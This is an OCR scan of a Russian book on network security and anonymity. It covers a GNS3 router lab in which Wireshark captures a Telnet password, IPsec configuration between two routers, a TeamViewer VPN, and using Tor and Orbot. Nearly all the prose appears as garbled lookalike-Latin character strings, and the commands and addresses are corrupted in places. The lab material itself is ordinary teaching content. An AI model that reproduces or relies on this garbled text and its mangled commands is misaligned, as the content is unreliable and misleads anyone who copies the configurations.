CTaTHYECKH MPONMCATh POYTHHI, NMO3TOMYy Ha R2 BBHINMONHHM KOMaHAy (B MEHIO
config):

ip route 0.0.0.0 0.0.0.0 fastEthernetl/0

He 3a6HiBaiiTe MPOU3BOAUTE BEIXOJ M3 MEHIO KOH(UIypalH 0 KOMaH/E exit. BHOBB
Honpodyiire ping 192.168.0.1. JODKHO Bee MOMYYHTHCS. BhINoTHATE Takoke KOMaH-
Iy ip route 0.0.0.0 0.0.0.0 fastEthernetl/0 B KOHPUIYypaLHOHHOM MEHIO NepBO-
ro poyrepa. '

Takum 06pazoM, MBI COGPATH CIEYIOLIYIO CXeMy, B KOTOPOi BO3MOXeH 0GMeH nake-
TaMK Mexy agpecamu 192.168.0.1 1 192.168.1.1 (pruc. 2.27). -

9. lna 3amycka cHu¢pdepa Ha IEPBOM . poyTepe, LIETKHYB NpaBoM KHOIKOH MBI,
BbIbepuTe KoMaHay 3axsar (puc. 2.28).

Cor.rlacmvlcg ¢ Beibopom coenurenu (link) u ucrounuka (puc. 2.29).
Jlomken 3anmycTuTscs cnmbd:ep Wireshark (puc. 2.30).



M.
R1
loophackd
bl 192.168.1.1
loopback0
192.168.0.1
R2’
Puc. 2.27

‘Puc. 2.29

Capturing from Standard input V'alﬁreshavivk

# HacTpouts
ﬁbKasaTb!CKpblTb MMS] XOCTa:

. M3MEHWUTE MMS XOCTa

%5 AobaBuTb MMHK -

"M3MEHMTL CHMBOA

&5 VismeHmTe NopT KOHCOMM

# Koncons

< %4 3axsar >

& 3anyctvm
1 MprocTaHoBNTL
B OcraroBnTL

£% MNepesanyck

"1 &8 MamermTb nopT AUX

£3 console via AUX port

8| derc

“& 3arpysoqHasn KoHburypauvs
. ¥aanuTb .

% Raise one layer

i:z Lower one layer

.Puc. 2.28

_Pwuc. 2.30
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Ecnu cauddep ue ~3ar1yc’ri<1:1iéﬁgj‘{"mhpsepme KoH(urypamuo B MeHIO Pexakraposars |
Hacrpoiixa | 3axBar (puc. 2.31). Bo3M0XHO, HEKODPEKTHO yCTAaHOBJIEH MyTh 10

- mporpammel Wireshark B cTpoke ee 3amycka. Tak, Hanpumep, GbIBaeT, KOTAa Bbl ycTa-
HapnuBaJiu nporpamMy GNS3 Ha auck, oTiIHYHBIH oT qucka C:\.

Hacrpoiku

‘Wireshark Live Pipe Traffic Capture {experimental) (Windows)

tail.exe -f -c +0b %c | "d:\Program Files\Wiresharkiwireshark.exe" -k -i

Puc. 2.31

Ecnu cauddep Bce ke 3amycTiics, BHOBb OCyIIECTBHTE BXoJ ¢ poyrepa R2 mo mpo-
tokoiy Telnet (o6paTuBumichk yxe no ampecy 192.168.0.1: R2# telnet 192.168.0.1)
¢ IeNBI0 IPOCMOTPETh NepexBadeHHbIe makeTl. Ilocsie ocymmecTBieHus Auaiora Bbi-
MOJIHUTE TMOMCK MO TekcTy "word:" (okoH4aHHe oT cioBa Password, cM. BbIIe TeKCT
Jiajiora IpH MEepBOM HameM OOpalIeHuH 10 MPOToKoiy telnet), puc. 2.32.

B urore Haiinem uckomslii maker (puc. 2.33).

Puc. 2.32

Kak BuauM, B pesyisTaTe SKCIIEpAMEHTA 3IIOYMBIILIEHHUK [IPH OTCYTCTBHM m(ppoBa-
HHUS KAHAJIOB HMEET BO3MOXHOCTB JIETKO MEpEXBATHIBATh H UMTAaTh CETEBOM TpauK.
Oco6eHHO 3T0 ONAacHo, eciy MCTIONB3YIOTCS KaHaIbl HyOnmuHbIx ceted. C menbio obec-
neveHus 6e30MacHOCTH KaHAJIOB CYINEeCTBYeT MHOro MerozoB. Ceifuac, koraa KoHury-
pUpOBaH¥e poyTepa yke He IpeJCTaBIIieT /Ui Bac nmpobiieM, monpoGyiite OpraHu30BaTh
Ha HameM CTeHJie coeuHeHHe ¢ npuMeHenneM IPsec-nporokona.



=

¥Standard input [Wireshark}

ca 01 78 24 00 1c ca 00 00 1c 08 00 45 cO

00 52 54 72 Q0 Q0 ff 06 ¢0 a8 00 01 0a 00

00 02 00 17 98 46 75 2b dd ac 50 18

: c9 78 od 0a 55 73 65 72 20 41
63 65 73 56 65 66 69 63 61 74 69
6e 0d Oa ; Gl EE

Puc. 2.33

Ha nepsomM poyTepe (R1) T0/DKHEI GBITH C/IEIaHEI CAEAYIONIHME HACTPOMKH:

crypto isakmp policy 1

encr 3des

hash md5

authentication pre-share ,
group 2

crypto isakmp key CISCO address 10.0.0.2
crypto isakmp keepalive 10

crypto ipsec‘transform—set TEST  esp-3des esp-md5-hmac

crypto map VPN 10 ipsec-isakmp

set peer 10.0.0.2

set security-association lifetime seconds 180
set transform-set TEST

match address RRR

integface FastEthernet1/0 [
ip address 10.0.0.1 255.255.255.0

speed 10

half-duplex

crypto map VPN

interface Loopback0
ip address 192.168.0.1 255.255.255.0

ip access-list extended RRR
permit ip 192.168.0.0 0.0.0.255 192.168.1.0 0.0.0.255
ip route 0.0.0.0 0.0.0.0 fastEthernetl/0
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Ha BropoM poytepe (R2) nosokest 65ITh C€IaHB! ClieNyrOMue HACTPORKIL
crypto isakmp policy 1 ) '

encr 3des

hash md5

authentication pre-share -

group 2

crypto isakmp key CISCO address 10.0.0.1
crypto isakmp keepalive 10

crypto ipsec transform-set TEST esp-3des esp-md5-hmac

crypto map VEN 10 ipsec-isakmp .
set peer 10.0.0.1 .
set security-association lifetime seconds 180
set transform-set TEST -
match address RRR

interface FastEthernetl/0

ip address 10.0.0.2 255.255.255.0
speed 10

half-duplex

crypto map VPN

interface LoopbaékO
ip address 192.168.1.1 255.255.255.0 .

ip access-1list extended RRR
permit ip 192.168.1.0 0.Q.0.255 192.168.0.0 0.0.0.255

ip route 0.0.0.0 0.0.0.0 fastEthernetl/0

Ecmu Gyner Bce npaBWIBHO HACTPOEHO, TO NOJDKHA "nogHATECA" [Psec-ceccus, 9To MOXK-
HO IPOBEPUTH, BO-IIEPBBIX, KOMaHAOH (puc. 2.34): ~

sh cry ipsec sa
A BO-BTOPBIX, BHITIOJIHUB KOMaHIy:
ping 192.168.0.1 source loopback0

B pesynstare B cuuddepe Mbl He yBHAEM nakeror ICMP-npoTokona (ping), IOTOMY 9TO
10T Tpaduk mudpyercs, 3aTo OyAyT IPUCYTCTBOBATEH umcbpopamme naxers! (puc. 2.35).

He cmyuaitso HCTOYHMKOM (SOUrce) s KOMaHIbl ping ciyxuT loopback0, xoropsri
umeet aapec 192.168.1.1! Illudposanue B HauieM mpuMepe U OBLIO BKIIOYEHO MEKRY
Asyma Toukamu: 192.168.0.1 1 192.168.1.1.

He ucTpaThB HU KOTIEHMKH J€HET, Mbl CMOIJIM OPraHH30BaTh B JOMALIHNX YCIAOBHAX CTEHN
U3 O4YEHb JOPOTOro cereBoro obopymosaHusa. Passe 310 He ymuBHTensHO? TakuM obpa-

/
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30M, B pe3yJbTaTé HAOIMX ONMBITOB MBI PaCCMOTpENId BO3MQAHOCTH Cpa3y HECKOIbKHX
TpOrpamM, NpeHasHaYeHHBIX A1 KOHQUIYPHUPOBaHHS 0€30IMaCHBIX CETEBBIX COEHMHE-
Huii. Xakep Xe MCHONb3YeT TaKHe WHCTPYMEHTHI WA OTIaAKH W COBEpIIEHCTBOBAHHA
CETEeBBIX aTak.

B kawecTBe JOMANIHEro 3aaHMsA, IJid NaJbHEHIIEro pa3BUTHA, nonpolyiite cobpark
CTeHJI, Tak YToOBI opranu3oBath IPsec-coeuHeHre MEKIY ABYMA CETAMM, pa3JAe/ICHHBI-
MU 11apoit poyTepoB (He npuMeHsd B dkcriepumente loopback).

reshark]

4 6 89062500 10 Q.
596.92187500.10. 00
6 6.93750000 10.

.0312500010.0.0. . 0. 166 ESP (SPI=0x1d3k

.0781250010.0.0. .0.0. 166 ESP (SPI=0x5d0e

.1093750010.0.0, . 0. 166 ESP (SPI=0x1ld3k
166 ESP (SPI=0x5d0

24 i 00 45
10 . 02 Qa
oe 8b do
as 04 46
cl 7e 06
7 17 86 42

Puc. 2.35
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30M,. B pE€3yNbTaTeé HAIIHUX OMBITOB MBI pacCMOTpEIH BO3MO)KHOCTPI ‘Cpazy HECKOJIBKHX
mporpamMm, Mnpe€aHasHAYCHHBIX ' 1 KOH('bI/[l"ypI/IpOBaHI/I}I 0€30II1aCHBIX CETEBBIX COCaAUHEC-
HUH. XaKep K€ HCIIOJIB3YET TakKue I/IHCTp}’MeHTBI Il OTJIAAKU -U COBEPIICHCTBOBAHMA
CETEBBIX aTak.

B kauecTBe AOMammHero 3amaHuis, MU JajdbHEHINEro pa3BUTHUSA, MONpoOyHTe coOparb
‘ : ]

CTeHJ, TaKk YToObl OpraHu3oBaTh [Psec-coeiuHeHHe MeX Iy ABYMsS CETAMH, pa3/eieHHbI-

MM TIapoii poyTepoB (He MpHUMEeHs B aKcriepuMeHTe loopback).

VI3
lozal addr 10.0.0.1

10.0.0.1, ¢ te crypto endpt.: 10.0.0.2
wt 1800, ip mwtu il FastEthernetl/0

/

4 6.89062500 10
5 BLOXIBTS00I0. i L1 ogsaep 106 Informationa
6 6.9375000010.0.0. .0. _ 166 ESP (SPI=0x1d3
. - - - 126 Informationa

-03125000 10.

97 0.0.1 .0.0.2 166 ESP (SPI =0x1d3k
10 7.0781250010.0.0.2 10.0.0.1 ESP 166 ESP (SPI=0x5d0¢
11 7.1093750010.0.0.1 10.0.0.2 ESP 166 ESP (SPI=0x1d3k
12 7.1250000010.0.0.2 10.0.0.1 ESP 166 ESP (SPI=0x5d0¢&

00 45 00
02 0a Q0
8b d9 3b

04 46 dS
7e 06 50
86 42 bd

Puc. 2.35
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2.3. bonee npocwﬁ%ﬁ*ﬁp‘umep

WwrdpoOBaHHOIO CETEBOro kaHana

Ecnu npakTHKYM B pa3o. 2.2 oKa3ajics BCe XKe CIIMIIKOM CIOXKHBIM IS Bac, mompoGyiiTe
U3yudTh IMHU(QPOBaHWE CETEBOr0 KaHaja Ha INpuMepe opraHusammi VPN ¢ moMoimsio
crnoco0a, yka3aHHOTO. B HACTOSIIEM pa3zielie.

VPN — Virtual Private Network, wiu BUpTyanbHas NpuBaTHas (4acTHas) ceTb. 10 ecTh
3TO CeTh, OpraHM30BaHHAs MOJB30BAaTEIMH TOBEPX KaKOW-MHOO IMyOIMYHOM ceTH
(PDN — Public Data Network, myOnuanas ceTs nepenaun JaHHbIX). B Gonbineii crenenun
B KaueCTBe ITyOIMYHOM CETH Hac, KOHEYHO JKe, MHTepecyeT MHTepHeT.

ITpuBatHOCTE B VPN oObecneurBaercs 3a cyer muppoBaHus Tpaduka MEXITy XOCTaMH.
HemHoro nozxe (B cieAyroleii IiaBe) MBI pacCCMOTPHM elne IpUMep, KOTOPHIH TakxKe,
B KaKO#-TO CTeneHH, MOXHO cunTaTh VPN, — 3710 cets Tor, Henone3yemas Xakepamu.

B 3aBHCHMOCTH OT Ha3HAYeHHs, CTIOCOOOB peai3aliy, CTETIEHH 3aIUTE, YPOBHS CeTe-
BOT'O ITPOTOKOJIA, TUTIa IIPOTOKOJIA CYIECTBYET MHOKECTBO Pa3IMYHBIX BUA0B VPN.
Jlymaetcs, 910 B KadecTBe elle OZHOro IpuMepa Hac Oojiee 3aMHTEpeCyeT caMblil Ipo-
croii mpumep VPN, peanmusyemsli Ha NPHKIAJHOM YPOBHE, JOCTYNHBIH KaXIOMy
IIKOJIBHUKY. .

B HacTpoeHHO# mni oOBMHOro coelnuHeHWs IporpamMme TeamViewer HeoOxomumo
¢ obenx cTopoH YCTaHOBHTB ApaiiBep VPN. Ii1s 3TOro Ha KakKAOM U3 KOMITBIOTEPOB, BBI-

Ogsosroe
BesoracHotTe
Krona QuickCannect
Ynanks OF yrpaBAeHue CrRCTUTE GWICOK SROKHDOBANHL YuETHIX 3amMcel g
Korsheperisin "] Cxpomare craTyc "B ceTw® ans gammoro ID 1
KOMAIIOTEPE: H KOHTAITE fip 6 o7 YETHEIX 3aTBICEA
A : [¥] NoxazvaTs KommmioTeps: 1 KONTAKTS™ NPY 3anyoe
yavoKoHbEpEHYS . s
éq:u:p‘!‘m‘ﬁewer

YcrarosuTe apaliaep VPN

YCTaHOBUTS APSBED MOHUTOP3

YcranosuTo apadiBep NpUHTEPa
Hcons3oeaTn UDP (pexnMenayeToR)

Paspeit Tt BEAEHME XYPHARA PErMCTpaLYM

Puc. 2.36
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Opas B MeHio lononaaTeabHo | Ounun | lonoaaurensuo | Ilokazats JoNOIHATEb-
Hble HACTPOHKH, B OKHE HACTpOeK B pa3ieiic J{OHOJHHTeIbHbIe HACTPOHKH CETH

I mapaMerpa. YcTanoBATh ApaiiBep VPN crenyer HaxaTh ‘KHONKY YCFAHOBHTE
(puc. 2.36 u 2.37). '

Puc. 2.37

\ |
I'Iocne HaOKaATUA KHOIIKHA YCTaHOBﬂTb B I'NIaBHOM "MCHIO ITPOrpaMMBbl TIOABHUTCA ONIMA
VPN (puc. 2.38).

| Paspewmuts ynipassenue

Caoobigwre napTieEpy megyouie ID i napons,
. €0 NOTHTE Pask 2%

YripasnsTh KOMIbIOTEPOM

Baegwre I} napTHEépa, YTobu ynpasasTs
& Tepom

i 249 306 179

5935

fyTe CBGH ¥ NapoAL gne JOCTYNA K
ITOMY KOMMBICTEDY U3 MOECH TOUKIA

Puc. 2.38

IIpu BeiGope ommu VPN Ha AByX pasiMuYHBIX KOMIBIOTEPAX M YKa3aHMHM COOTBET-
ctBytomero ID kxommeloTepa, C KOTOPBIM YCTaHABIMBACTCS COEAMHEHHWE, YCTaHO-

Burca VPN-kaHan, nmpu sTtoM OyAer MoKa3aH CIEQYIOHIM 3KpaH CO CTaTUCTHKOM
(puc. 2.39).
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Y10 04eHb BakKHO — ycTaHOBIEHHOe VPN-coenuneHue Gyner paboTaTs He FOIBKO IS
TeamViewer, Ho u s apyrux mporpamm. Taxum o6pasom, Gyaer obecredeno Gecruiat-
HO€ 3alIMIICHHOE COeMHEHUe Yepe3 MHTepHeT. B KauecTBe NOMAINHETO 3a/laHus C I10-
Mousio cHAddepa, a umerHo nporpammer Wireshark, BeI MOXkeTe CaMOCTOSTENBHO PO~
BEPHTH, NEHETBATENHHO 1 IHppyeTcs KaHal.

Cm%ww&mmmkm@ymmﬁaﬁm
ASET 531 BOIMOMHOCTE TONYNMTL AOCT YT K NEPTHEDY 11 BCER NPOrPaMMNas, 2 He TORBKD K
. TeamViewer.

. BAs NORYueHUR RONOAMMTebHOM wdiopuaiss o VPN noceTuTe seb-caitr
- hitp:ffwenn. teamviewer.com

| AcTuEHOE CoemsEHAE
YPM:

. ~Cocrossase
: Coepmnersse VPN paboraer

Baws IP:

P rapnipa:
Tpade: i 12918/23148

?245243.223;

- BedcTeue -
! CYecTByIoT SBE BOINOAHOCTH HOIAL30BaHA VPN, Nepsan 803Mox0cTs
3aKRONBETON B TIGNYHEHN AOCT YA K NapTHapy (Kai K mobomy xoMnuioTepy 8
noxansHol e} wepes Mpososarss Windows.
TecToBL#% IXC-0AHAA HRONL3YETOR A6 MPOBEMIK OLOPOCTI 1 CTalMARNOCTY

’ '

Puc. 2.39
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AHOHUMHOCTbL B CeTHU

3.1. Tor ansa obecneyeHMss aHOHUMHOCTU B CETU

IToroBopuM HemHOro eme o6 oxHO#M abcomoTHO OecrmaTHOM, CBOOOAHO pacmpoCTpa-
HAEMOii MporpamMMe i CKPhITHA NMpeGBIBAHMSA B CETH C MHTPHIYIOIIMM Ha3BaHHEM —
Tor (The Onion Router)! D10 HHCTPYMEHT Jijisl OCYIIECTBIICHMA TaK Ha3biBaeMo#l "JIyKo-
Bo# MappyTHzamyu". [IpumedaTenbHO, 9TO Aaxke B JIOTOTHIIE MPOrPaMMEI HCTIONb3YeT-
cs m3obpakenue JTykoBuibl. [IpaBaa, oHa He HaJKycaHHas kak 0J10K0, HO 3aTO C HeJoC-
TaoIel YeTBePTHHKOM.

B ykazaHHO cHCTEME C HENBIO OCYIIECTRICHUSA AaHOHUMHOCTH UCTIONB3YyeTCs Hemas CeTh
crenuaabHO MpeAHa3HAYEeHHBIX 1A 3Toro cepBepoB. Tpaduk mmdppyercs. Baanmoneii-

" CTBHE OPraHU30BAHO TAK, YTO HE TOJBKO OOECIEeYMBAeTCS aHOHUMHOCTh BAlIMX COEMH-
HEHH, HO BO3MOXXHO TaK JKe [IPH JKEJIaHMHM CO31aBaTh U aHOHMMHbBIE HHTEPHET-PECYPCH,
HE pacKpbiBas UX JAeHCTBUTEIFHOE MECTOIIONIOXKEHHE.

O cepbe3HOCTH TPOeKTa FOBOPUT MHOroe. Bo-nepBhIX, HCTOpHA MOABIIEHUS 3TOTO IpH-
AOKEHHUS B MyONMYHOM MONBE30BAHMM: MO OOINETIPHHATON BEPCHU W3HAYABHO TPOEKT
611 pa3paboTaH aMepUKaHCKUMH BOCHHBIMH M TOJIBKO IO3)Ke ObL1 paccekpeueH U OTAaH
B CBOGOJHOE MCIIONb30BaHHe, Ile M Pa3sBUBAICA IO CHUX mop. Bo-BTOphIX, mporpamma
HMeeT pelneHHe IS BCeX MOMY/APHBIX ONEPALMOHHBIX CHCTEM. B-TpeThHX, MOpaXkaeT
reorpadus ¥ MacmTaGbl €€ MCTIOIB30BAHHMA, a TAKKE KOHTHHTEHT MONb30BATENEH: MpH-
MEHSIOT €€ HE TOJIBKO XaKepbl, JUCCHACHTHI, CTYNEHTHI, KOPPECIIOHICHTHI COMMIHBIX
H3JIaHUi, HO JlaXe H cneﬁcny)KGBI MHOTHX CTpaH, 4YTOOBI "HE CBETUTH" CBOM peanbHbie:
azipeca JUi1 oObIBaTeNei.

)
W3 paznuunbx BapHaHTOB Tor-KJIHeHTa HaYMHAIOIINH Xakep, CKopee BCero, MpeArnovTeT
Tor Vidalia (puc. 3.1).

OnHO M3 caMBIX 3HAUYMMBIX TIPEUMYINECTB IPOrPaMMBL B TOM, YTO €€ He HY)KHO HHCTANI-
nHpoBatk. Mcnone3ys cnoco6bl, olmicaHHbIE B ClIEAYIOLIeH IIaBe, XaKep MOXeET pa3Mec-
TiTh Tor B cekpeTHOM pazjene, GakTHUeCKd He OCTABIIAA IJIA HEMOCBALIEHHBIX HE TO YTO
HHMKaKUX BHIHMMBIX CJIEIOB HA CBOEM KOMITbIOTEpE, HO JaXe CKPBHIB HallM4YWe caMOro WH-

CTpyMeHTapmsi.
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Puc. 3.1 .

TIpHIOXKEHHE COCTOUT M3 HECKOJIBKMX KATAIIOTOB M CTapTOBOrO exe-(aiina. B kauecTse
Gpaysepa ucnonbsyercs Firefox Portable ¢ yxe HacTpoeHHBIME T Ge30macHOH paGoTEl
wiaruHamu. Bee paboraer cpasy!!!

TMoce BBI30Ba MPHIIOKEHHS, KOIJa BB MOAKIIOUATECH K TOr-CETH, aBTOMATHYECKH 3a-
nycrurcs Firefox Portable (puc. 3.2).

Ecnu Bl menkHere no Hagmucu Hactpoiikm (cM. puc. 3.1) u ganee Beibepure Ob6men,
TO ybenurech, 4To NMpHIOKeHHe paboTaeT TOIBKO B KadecTBe kmmeHTa (puc. 3.3). U sto
Ba)XHO I Bamel OezomacHocTH. IloTOMy d9TO, pemocTaBiia CBOM KOMIIBIOTED B Kaye-
CTBE PETPAHCIIATOPA, BBl MOXKETE OOJIErYUTh JKU3Hb 3I0YMBILLICHHUKY .

Ecnu notpebyercs eme pa3 cmenuts IP-anpec B Tor Vidalia, To 310 Nerko nenaercs mo-
cpencTBoM MeHI0O CMEHHTB JIHIHOCTD (CM. pHc. 3.1).

Ipu ycraHoBKe Apyrux BapuanTos Tor, TpeGyIOmIX HHCTALIAIIH, MEHIO CMEHbI JIAYHO-
CTH MOXHO HalTH NpsMo B Gpay3epe: NPU HAXKATHH Ha MAIECHBKYIO JTYKOBHYKY IOSBILI-
€TCsi MEHIO HACTPOEK, CPel KOTOPhIX ecTh komaHia Hopast iaanocTs (puc. 3.4).

[pocMoTpeTs nenodky momkmouenuii B Tor Vidalia MosxxHo, BEIGpaB MerIo O630p ceTH
(cM. puc. 3.1), B pe3ynbTare 4ero OyIer NMpeIcTaBIeHO OKHO ¢ KapToil CETH U COOTBETCT-
BYIOIIMMHU JaHHbIMHU B civicke Ioaxnouenne, puc. 3.5 (metami BUOHBI P HAKaTHU Ha
KOHKPETHYIO LIETIOUKY ).

B Hamewm ciydae pabota mporpaMmel B KadecTBe KiIHeHTa mpousBommwiack B NAT-30He
(3a poyTepoM, B oMalHeH ceTH) BooOIe 6e3 KaKuX-TMOO0 JOTOIHHUTENBHBIX HaCTpPOeK
B KOH(UTYpaImu mporpaMmel.

[MokaXkeM TOJIEKO HEKOTOpBIE SKpaHBl HacTpoek Tor myis Takoro ciryvas, Korja Bce ycra-
HOBJIeHO no ymomyaHuio. Eciu BeiGpats HacTpoiikm yxe B caMmoM Gpaysepe, TO IOSBUT-
cs Biaaka Hacrpolika npoxcn (puc. 3.6).
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}

Mosgpasnsem. Baw Gpaysep
ucnonsnayer Tor.

Bais IP agpec: 77.95.231.11

,&ac“;ﬁais sﬁﬁﬁﬁﬁﬁﬁﬁ?ﬁ% Geaon saf:ﬁzzam ang Tor
' ?ifﬁe‘éi-}ﬁi Bundis..
' 4"&@3:, egaia‘rh i‘."“"éﬁé'ﬁ!

Puc. 3.3

Tor Browser

{ & hitps:jfcheck torproject.org/?lang=

HoBag nu4HOCTD,
SawmTa Copkie \
HacTpoiku... :

o] Torbutton. ..
OTKpbITL CeTeBble HACTPOVKH ().

Cxauate obHoBnenua Tor Browser Bundie

Puc. 3.4
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F y, Ui ceimi OrupuTs
epodwtomade mdfnetd, bauruined2,fessQQmorePEW... OTxpuTs

Chandier2s bauruineZ04,wommelator2 hvivi029 Ompums
servhr2a .

mylittietoryd 10 mins 32 cex

torfoo 2014-0%-12

AS5250 10:07:48 GMT

TetosTorExits

et ""‘P"“‘:;“”"“‘ . STORro420 (Orsasi)
Coinfass Pacnonomerse: Hopserus

66.172.1L.226
" 4.51Mbfc

ICECECHOCH

Puc. 3.5

@ WUmonb30BaTh NapamMeTpbl NPOKCH, pxomnmm ANS AaHHOH Bepcum Firefox
0 VichorsaaRaTs Pafigo .
& YcranosiTo nanané‘rpu NPORCH BRYUHYIO
HTTP-npoxan: -

S

. Brymarivie: He BHOCHTE HYIKEKIX HMEH AGMEHOB B Tone Bbile
€5 Npospauran TopudmKauvs (Tpeﬁyér NONb30BATEALCKNX transproxy v Tor-MapiupyTHsatopa)
’ @mm"l(hqmy”n'fopmm " 4715 NMPeACTEPALLE ...cnyqaﬁnoronepemoueﬁmpe‘mma

v

Puc. 3.6 ' -
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Ha Bxnaaxe Hac’rpoiixﬂ‘ﬁe'sonacnoc’fn BHJTHO, YTO [I0 YMOJTYAaHHIO B Opaysepe He Be-
IyTCs JKypHaJIBI C JaHHBIMM IO [OCEIIaeMBIM caifTaM (JIOTH) M OTKJIOYeH Ffash-nneep
(puc. 3.7). ’ ‘

Flash-mineep oTkimouYeH He ciTydaiHO: U3 cOOOpakeHHi 6e30MacHOCTH COOOIIEeCTBO, MOA-
AeprkuBaroiriee Tor, He rapaHTHpYeT NMOMHOM AHOHMMHOCTH IIPU HCIIOJIb30BAHMH CTOPOH-
HUX NPUIOJKEHUH.

He coxpaHaTs XypHan ofospesatens n aanHsie ¢ Ndteluaembix CaiToB (akTHBHPYET (GYHKUMIO NPHBATHOTO NPOCMOTPa)

&} OTkmounTL pacwmpenus Gpaysepa (Takue Kak Flash) -
BROKHPOBATH CTOPOHHME KYKH M APYrHe AaHHbIE CeXeHNs -

WsMeHnTb CBeABHHR, OTAMYarolMe Bac OT APYTHX Nonb3oBatenet Tor Browser

Puc. 3.7

3.2. Tor Ha cmapT¢oHe

3aMeTUM ellle, YTO B HACTOALIEE BPEMsI UTS CBOMX HYXK] XaKepy Aaxe He HY)KHO UCTIONb-
30BaTh KOMIIBIOTED, T. K. TOr-KIIHEeHT CyImecTByeT u Iad cMapTdoHOB. Jjia onepanuon-
Ho#t cucteMbl Android ¢ Play Mapkera coBepimeHHO G€CIUIaTHO MOXHO CKa4aThb IPO-
rpammy Orbot (puc. 3.8), npencrapismoinyro coboif npokcu i noaxmodeHus k Tor-
CeTH. : .

IMocne ycraHoBKkH MBI oTyyrM rporpammy Orbot, koropyio eme npeJiCTom HaCTPOUTh
(puc. 3.9).

IIpaBna, ycraHoBka Orbot — 3T0 TONMBKO MONAena. [loka 9ro mobGoi M3 MMEromUXCs
B OIIEpaLMOHHOM cucTeMe.Opay3epoB paboraer ¢ IHTepHETOM HalpAMYIO. MosxHO 6bLTO
ObI 3aIyCTUTH NPOrpamMMy ITyTeM MPOAOJDKUTEIHLHOIO HAKATUSA NaIbLieM Ha HMITPOBH3H-
pOBaHHOM KpPYIJIOH KHOIIKE BKJIIOYEHMS, 3aKpBIBAIOIEH JTykoBHYHOro aHapouzaa. Ho
HY)XHBIA Ham Opaysep TOKa ellle He YCTaHOBJIEH, I03ToMy noBpemenuM. Kctatu, oGpa-
Ttute BHUMaHue, 9yto kHonmka CHECK BROWSER o 3amycka nporpamMmsl Orbot Heak-
TBHa. Hama 3ama9a — ycTaHOBUTH M HaCTPOWTH JOMOJIHUTEIBHEIN Opaysep, KOTOpHIHA
Oyner pabotats ¢ Tor-cetbio mpokcu Orbot (puc: 3.10).

Ms1 ycTaHOBMM [T Haimleif e/ Jaxe He OHH, a 1pa Gpaysepa. Y nerde Bcero y3Harts,
YTO HaM HY’>KHO B KayeCTBe CHeLHaIbHOro Opay3epa, MOXKHO, BbI3BaB BeCh CITUCOK pabo-
TaIOMMX COBMECTHO C HAIIMM MpHIoKEeHHUeM nporpamm. Jlemaercs 310 mocpecTBOM BBI-
6opa 3HauYKa, COCTOAIIErO M3 TPEX PACHOIOKEHHBIX N0 BEPTHKAIH TOYEK B IIPABOM BEpX-
HeM yTiry caMoii mporpammsl Orbot (puc. 3.11).

B npennoxxeHHOM crmcke AeHcTBUit BEIOUpaeM Bapuant Wizard (puc. 3.12).
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To= il B 194

Orbot Mpoxcu B &
Komnnekre ¢ Tor
' The Tor Project

APPS BRIDGES

Puc. 3.8

UntepHeTt

QOb6bIYHbIN
Gpayaep

Mporpamma, BeinonHaowWas | - .

<> yHKLMK NPOKCH

u pabotarowyas ¢ Tor-ceTbio

Bpaysep, cneuunansHo
HaCTPOEHHbIA AN
paboTbl Yepes NpokKcK

Puc. 310
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Orbot  CR Codes

Puc. 3:11 - Puc. 3.2

B crmcke nporpamm, paGoraromux ¢ Orbot u nonyi{e,mmx B pe3ynbTaTre HalluX MaHU-
MyJALEi, Hac ceifuac mHTepecyioT: Gpaysepst ORWEB u PROXY MOBILE ADD-ON
FOR FIREFOX (puc. 3.13).

Haunem ¢ pocToro, a ”MEHHO C. YCTaHOBKHU ORWEB, TaK k€ 3alyCTUB HOMCK 3TOH Mpo-
rpamvmsi B Play Mapxkere (puc. 3.14).: "

o] . L
O = i W25

The apps below were developed tc

stalt now, or you can find them
>r ort Google Play, at
ctinfo website or via

ORWEB: PRIVACY-ENHANCED
BROWSER THAT WORKS
THROUGRH TOR

CHATSECURE: SECURE CHAT
APP WITH OFF-THE-RECORD
EHNCRYPTION

DUCKDUCKGG SEARCH ENGINE Mpocmarpusaiité KoHg: 3 ‘
ARP " The Guardian Project .
Rttt

BECTINATHO |

PROXY MOBILE ADD-ONFOR
FIREFOX (MTTPS:/
SUARDIANPROJECT INFO/APPS/
FIREFOXPRIVACY}

_-Orbot lpokeu B komnne ¢ |
“The Tor Project §
Kok dekk

OKAY

Puc. 3.13 Puc. 3.14
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Xopomo To, uto 6payzep ORWEB:#aunHaet paGorars B cBsizke ¢ Orbot cpasy xe mocie
yctanoBkd. Ho cHavana BeimomnsM, HakoHell, 3amyck Orbot. TToTopumcs, 9To 3amyck
HporpamMMBI JUIA CBSA3HU € TOr-ceTbio IPOU3BOJUTCS NPOJOJDKUTENFHBIM HKaTHEM Mallb-
LeM Ha KpYIIOH KHOTIKE BKJIOUEHHs yCTPOKCTBA, 3aKPHIBAIOLIEH JTyKOBHYIHOIO aHIPOH-
na. JXmeM Ha KHOTIKY 70 TeX NOp, TIOKa pyYKH He TIOMHUMYTCs BBepX (puc. 3.15).

IIDi. e§!§§ g

- Congratulations. This...

g ianguages:

Congratulations.
This browser
is configured

to use Tor.

Your IP address appears
to be: 5.1.83.199

Please refer to the Tor
website for further
information about using
Tor safely. You are now
free to browse the internet

CHECK BROWSER | APPS BRIDGES anonymously. For more
[ e information about this exit
Puc. 3.15 Puc. 3.16

Hanee HyXHO HaXaTb yxe CTaBIJIy}O aKTHUBHOM KHOl'IKy CHECK BROWSER. B pe-
3ynbTate 3amycturcs ORWEB, u ecii Bce XOpoIo, TO Ha 3KpaHe cpa3y e BBl YBHIHTE
coolmenne o HOBoM [P-anpece, KOTOPBIHA TPENOCTABUT 6pay3epy Tor-cers. B Hamem
npuMepe Mbl noty4yriu agpec 5.1.83.199 (puc. 3.16). "

Jl1s BBOMA ajpeca MHTEPHET-y3/ia-HEOGXOMMO HCIIO/IB30BaTh 3HAYOK 36MHOIO IIapa
B JIEBOM BEpXHEM yTiy Gpaysepa. - Takum o6pa3oM, MOSBHTCS COQTBETCTBYIOMAA CTPOKa,
I/le MOXKHO YKa3aTh KOHKPETHBIH ampec. DTUM NpocTHIM Gpay3epoM BEI MOXKETe aHOHHMM-
HO Tocemarh Be6-y3bl B HuTepreTe. CoeIMHEHHE MEX/Ty BaMH 1 TIOCEMIAEMBIM y3/IOM
mu¢pyercs. IIpopaiinep win Bpar, nepexBaTUBIINI TpaduK, yke He IPOYMTAET €ro Co-















































































































































































































































































































































































































































































































































